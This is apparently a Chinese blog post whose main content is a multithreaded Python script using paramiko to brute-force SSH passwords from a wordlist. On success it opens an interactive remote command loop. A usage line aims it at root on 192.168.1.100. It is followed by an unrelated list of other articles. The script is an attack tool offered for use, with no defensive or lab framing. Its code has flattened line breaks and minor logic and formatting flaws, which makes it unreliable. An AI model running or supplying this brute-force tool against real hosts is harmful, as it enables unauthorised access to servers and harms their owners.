paramiko 库实现的暴力破解 SSH 密码
import paramiko
import optparse
import threading
import time
from threading import Thread, BoundedSemaphore# 用paramiko暴力破解SSH密码
# 最大并发连接尝试的数量,可根据实际情况调整,适当减小可降低对目标服务器的压力以及减少多线程同步问题出现的概率
maxConnections = 2
# 创建一个有界信号量,用于控制并发连接的数量,初始值设为最大并发连接数
connection_lock = BoundedSemaphore(value=maxConnections)
# 用于标记是否已经找到正确的密码,初始化为False,一旦找到正确密码,将被设置为True
Found = False
# 记录连接失败的次数,初始化为0,后续根据失败情况累加
Fails = 0
# 创建一个线程锁,用于控制打印输出,避免多线程打印时出现混乱
print_lock = threading.Lock()
# 创建一个线程锁,用于控制对共享变量Found等的修改操作,保证线程安全
stop_lock = threading.Lock()def connect(host, user, password):"""尝试使用给定的主机、用户和密码建立SSH连接:param host: 目标主机地址:param user: 用户名:param password: 密码:return: 如果成功连接返回密码(即找到的正确密码),否则返回None"""# 获取当前线程的名称,方便在打印信息中标识是哪个线程在执行操作current_thread = threading.current_thread().nameprint(f"[{current_thread}] 开始尝试连接,使用密码: {password}")global Foundglobal Failstry:print(f"[{current_thread}] 尝试获取连接锁")# 获取连接锁,保证同一时间只有指定数量(由maxConnections控制)的线程能尝试连接connection_lock.acquire()print(f"[{current_thread}] 成功获取连接锁")ssh_client = paramiko.SSHClient()# 设置自动添加主机密钥策略,避免因未知主机密钥导致连接失败(这种方式存在一定安全风险,生产环境需谨慎使用)ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 尝试使用给定的主机、用户和密码建立SSH连接ssh_client.connect(host, port=22, username=user, password=password)# 获取打印锁,确保多个线程打印信息时不会出现混乱,然后打印找到密码的提示信息with print_lock:print('[+] Password Found')# 获取停止锁,用于安全地修改共享变量Found,将其设置为True,表示已找到密码,并打印提示信息告知其他线程停止尝试with stop_lock:Found = Trueprint(f"[{current_thread}] 已将Found变量设置为True,表示找到密码,通知其他线程停止尝试")print(f"[{current_thread}] 成功连接,返回密码: {password}")return passwordexcept paramiko.AuthenticationException:# 获取停止锁,检查是否已经通过其他线程找到了密码,如果已找到则本线程停止尝试并返回Nonewith stop_lock:if Found:print(f"[{current_thread}] 已找到密码(通过Found变量判断),本线程停止尝试,返回None")return Noneprint(f"[{current_thread}] 认证失败,请检查用户名和密码是否正确")Fails += 1# 这里将最大失败次数设置为可配置的变量MAX_FAILURES,方便根据实际情况调整if Fails > MAX_FAILURES:with print_lock:print("[!] Exiting: Too many connection failures")print(f"[{current_thread}] 达到最大失败次数,本线程停止,返回None")return Noneprint(f"[{current_thread}] 继续下一次尝试,返回None")return Noneexcept paramiko.SSHException as ssh_exception:with print_lock:print(f"[{current_thread}] SSH连接出现异常: {ssh_exception}")Fails += 1if Fails > MAX_FAILURES:with print_lock:print("[!] Exiting: Too many connection failures")return Nonereturn Noneexcept Exception as e:with print_lock:print(f"[{current_thread}] 出现其他未知异常: {e}")Fails += 1if Fails > MAX_FAILURES:with print_lock:print("[!] Exiting: Too many connection failures")return Nonereturn Nonefinally:print(f"[{current_thread}] 准备释放连接锁")# 释放连接锁,允许其他等待的线程获取锁并尝试连接connection_lock.release()print(f"[{current_thread}] 成功释放连接锁")def interact_with_remote(host, user, password):"""在登录成功后,进入与远程主机的交互模式,可执行命令:param host: 目标主机地址:param user: 用户名:param password: 正确密码"""ssh_client = paramiko.SSHClient()ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh_client.connect(host, port=22, username=user, password=password)print(f"[*] 已成功登录 {host},现在可以输入命令与远程主机交互(输入 'exit' 可退出交互模式)")while True:command = input("请输入要执行的命令: ")if command.lower() == "exit":breaktry:stdin, stdout, stderr = ssh_client.exec_command(command)result = stdout.read().decode('utf-8')print(result)except paramiko.SSHException as e:print(f"[!] 执行命令时出现 SSH 异常: {e}")except UnicodeDecodeError:print(f"[!] 命令执行结果解码出现问题,请检查编码格式")except paramiko.AuthenticationException:print(f"[!] 交互时认证出现问题,请检查用户名和密码是否正确")except paramiko.SSHException as ssh_exception:print(f"[!] 建立交互连接时出现 SSH 异常: {ssh_exception}")except Exception as e:print(f"[!] 出现其他未知异常: e")finally:ssh_client.close()print("[*] 已退出与远程主机的交互,程序继续运行...")def main():global MAX_FAILURES# 最大失败次数设置为20,可根据实际情况灵活调整这个值,当连接失败次数超过这个值时,线程停止尝试MAX_FAILURES = 20parser = optparse.OptionParser('usage: %prog -H<target host> -u<user> -F<password list>')parser.add_option('-H', dest='host', type='string', help='specify target host')parser.add_option('-u', dest='user', type='string', help='specify the user')parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')(opts, args) = parser.parse_args()host = opts.hostpasswdFile = opts.passwdFileuser = opts.userif host is None or user is None or passwdFile is None:print(parser.usage)exit(0)correct_password = Nonepassword_found_event = threading.Event()line_number = 0 # 添加变量用于记录当前读取的行数with open(passwdFile, 'r') as fn:for line in fn.readlines():line_number += 1 # 每读取一行,行数加1print(f"[*] 当前读取到第 {line_number} 行,密码为: {line.strip()}") # 打印出行数和密码内容password = line.strip()print(f"[*] 准备获取连接锁")connection_lock.acquire()print(f"[*] 成功获取连接锁")t = Thread(target=connect, args=(host, user, password))t.name = f"Thread-{password}"t.start()print(f"[*] 开始检查密码是否找到,当前password_found_event状态: {password_found_event.is_set()}")while True:if Found:correct_password = passwordpassword_found_event.set()print(f"[*] 已找到密码,设置password_found_event事件")breaktime.sleep(0.01)print(f"[*] 结束本次密码检查,当前password_found_event状态: {password_found_event.is_set()}")if password_found_event.is_set():print(f"[*] 检测到password_found_event已设置,准备跳出外层循环")breakif password_found_event.is_set():interact_with_remote(host, user, correct_password)if __name__ == '__main__':main()
运行命令python3 your_script_name.py -H 192.168.1.100 -u root -F /path/to/passwords.txt

运行结果:

相关文章:
paramiko 库实现的暴力破解 SSH 密码
import paramiko import optparse import threading import time from threading import Thread, BoundedSemaphore# 用paramiko暴力破解SSH密码 # 最大并发连接尝试的数量,可根据实际情况调整,适当减小可降低对目标服务器的压力以及减少多线程同步问题出…...
Python 操作 Elasticsearch 全指南:从连接到数据查询与处理
文章目录 Python 操作 Elasticsearch 全指南:从连接到数据查询与处理引言安装 elasticsearch-py连接到 Elasticsearch创建索引插入数据查询数据1. 简单查询2. 布尔查询 更新文档删除文档和索引删除文档删除索引 批量插入数据处理分页结果总结 Python 操作 Elasticse…...
Jarvis March算法详解及Python实现(附设计模式案例)
目录 Jarvis March算法详解及Python实现(附设计模式案例)第一部分:Jarvis March算法概述与原理1.1 什么是Jarvis March算法?1.2 算法原理1.3 算法流程1.4 时间复杂度第二部分:Jarvis March算法的Python实现(面向对象设计)2.1 面向对象设计2.2 代码实现2.3 代码解释第三部…...
AIGC中的文本风格迁移:基于深度学习的实现
引言 文本风格迁移是自然语言处理领域的一个重要研究方向,它可以将文本从一种风格转换为另一种风格,同时保留其原有的内容。随着深度学习技术的发展,文本风格迁移的方法变得越来越先进和高效。本文将探讨基于序列到序列模型(Seq2…...
丹摩征文活动 |【前端开发】HTML+CSS+JavaScript前端三剑客的基础知识体系了解
前言 🌟🌟本期讲解关于HTMLCSSJavaScript的基础知识,小编带领大家简单过一遍~~~ 🌈感兴趣的小伙伴看一看小编主页:GGBondlctrl-CSDN博客 🔥 你的点赞就是小编不断更新的最大动力 …...
响应“一机两用”政策 落实政务外网安全
在数字化时代,政务办公外网安全的重要性日益凸显,特别是在“一机两用”的背景下,即同一台终端既要处理政务内网的数据,又要访问互联网,这对网络安全提出了更高的要求。深信达SPN安全上网方案,即反向沙箱技术…...
通过JS删除当前域名中的全部COOKIE教程
有时候需要通过JS来控制一下网站的登录状态,就例如:网站登出功能,我们可以直接通过JS将所有COOKIE删除,COOKIE删除之后,网站自然也就退出了。 那么今天我就给大家分享一段JS的函数,通过调用这段函数就可以实现删除COO…...
Flutter:Widget生命周期
StatelessWidget:无状态部件的生命周期 import package:flutter/material.dart;void main() {runApp(App()); }class App extends StatelessWidget {overrideWidget build(BuildContext context) {return MaterialApp(home: MyHomePage(title: MyHome),);} }class M…...
Flutter:Dio下载文件到本地
import dart:io; import package:dio/dio.dart;main(){// 创建dio对象final dio Dio();// 下载地址var url https://*******.org/files/1.0.0.apk;// 手机端路径String savePath Directory.systemTemp.path/ceshi.apk;print(savePath);downLoad(dio,url,savePath); }downLo…...
[⑧5G NR]: PBCH payload生成
本篇博客记录下5G PBCH信道中payload数据的生成方式。PBCH payload一共32个比特,基本结构如下图: 根据SSB PDU中bchPayloadFlag的值有三种方式得到PBCH payload。 bchPayloadFlag 0:全部32比特由MAC层提供。 bchPayloadFlag 1:M…...
查看解决端口占用,以及docker解决端口占用的原理
在软件开发和部署过程中,端口占用是一个常见的问题。以下是查看和解决端口占用问题的完整解决方案: 一、查看端口占用情况 1. 在 Linux 系统中 方法一:使用 lsof 命令 sudo lsof -i:<端口号>输出信息中会显示占用端口的进程名称、PI…...
力扣-Hot100-链表其一【算法学习day.34】
前言 ###我做这类文档一个重要的目的还是给正在学习的大家提供方向(例如想要掌握基础用法,该刷哪些题?)我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非常非常高滴&am…...
centos7 升级openssl 与升级openssh 安装卸载 telnet-server
前言: 服务器被安全扫描,扫出了漏洞需要修复,根据提示将openssh升级为9.8p1的版本,同时需要升级openssl,但是升级openssh可能会导致ssh连接失败,从而无法继续操作,特别是远程机房尤为危险&#…...
C++知识点总结(57):STL综合
STL综合 一、数据结构1. 队列2. 映射 二、队列例题1. 约瑟夫环(数据加强)2. 打印队列3. 小组队列4. 日志统计 2.0 三、映射真题1. 眼红的 Medusa2. 美食评委 一、数据结构 1. 队列 功能代码定义queue<tp>q入队.push(x)出队.pop()队头.front()队尾…...
mac2019环境 Airflow+hive+spark+hadoop本地环境安装
1 环境介绍 本地安装可分为两个部分,mac软件环境, python开发环境 ps: 安装过程参考chatgpt、csdn文章 1.1 mac软件环境 目标安装的的软件是hive、apache-spark、hadoop,但是这三个软件又依赖java(spark依赖)、ssh(…...
如何使用EasyExcel生成多列表组合填充的复杂Excel示例
作者:Funky_oaNiu 一、(需求)生成的表格效果:二、搞一个模板文件三、建立对应的表格实体类四、开始填充五、Vue3前端发起请求下载六、官方文档及AI问答 一、(需求)生成的表格效果: 其中只有顶部…...
【MySQL】MySQL在Centos环境安装
🔥个人主页: Forcible Bug Maker 🔥专栏: MySQL 目录 🌈前言🔥卸载不要的环境🔥检查系统安装包🔥卸载这些默认安装包🔥获取mysql官方yum源🔥安装mysql yum源…...
JDBC-Mysql 时区问题详解
目录 一、前置准备 1.1 版本号列表 1.2 Sql脚本 1.3 application.yaml配置 1.4 数据库时区设置 二、java Date类型与(jdbcType)TIMESTAMP类型的转换 2.1 jdbc对serverTimeZone的处理 2.2 java Date转(jdbcType)TIMESTAMP …...
前端页面一些小点
案例一: <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>快递单号查询</title><…...
Postman接口测试(断言、关联、参数化、输出测试报告)
基本界面展示 Get、Post请求 Postman断言 使用postman来判断预期结果与实际结果是否一致 响应状态码断言 响应包含字符串 断言判断字符串的格式 关联 用于解决http请求之间存在依赖关系 依赖:一个http请求的响应结果中的数据,被另一个请求使用 登…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
Ubuntu系统下交叉编译openssl
一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机:Ubuntu 20.04.6 LTSHost:ARM32位交叉编译器:arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...
抖音增长新引擎:品融电商,一站式全案代运营领跑者
抖音增长新引擎:品融电商,一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中,品牌如何破浪前行?自建团队成本高、效果难控;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...
SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现
摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...
JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
一、上下文切换 即使单核CPU也可以进行多线程执行代码,CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短,所以CPU会不断地切换线程执行,从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...
Unit 1 深度强化学习简介
Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库,例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体,比如 SnowballFight、Huggy the Do…...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
大数据学习(132)-HIve数据分析
🍋🍋大数据学习🍋🍋 🔥系列专栏: 👑哲学语录: 用力所能及,改变世界。 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言Ǵ…...
GitHub 趋势日报 (2025年06月06日)
📊 由 TrendForge 系统生成 | 🌐 https://trendforge.devlive.org/ 🌐 本日报中的项目描述已自动翻译为中文 📈 今日获星趋势图 今日获星趋势图 590 cognee 551 onlook 399 project-based-learning 348 build-your-own-x 320 ne…...
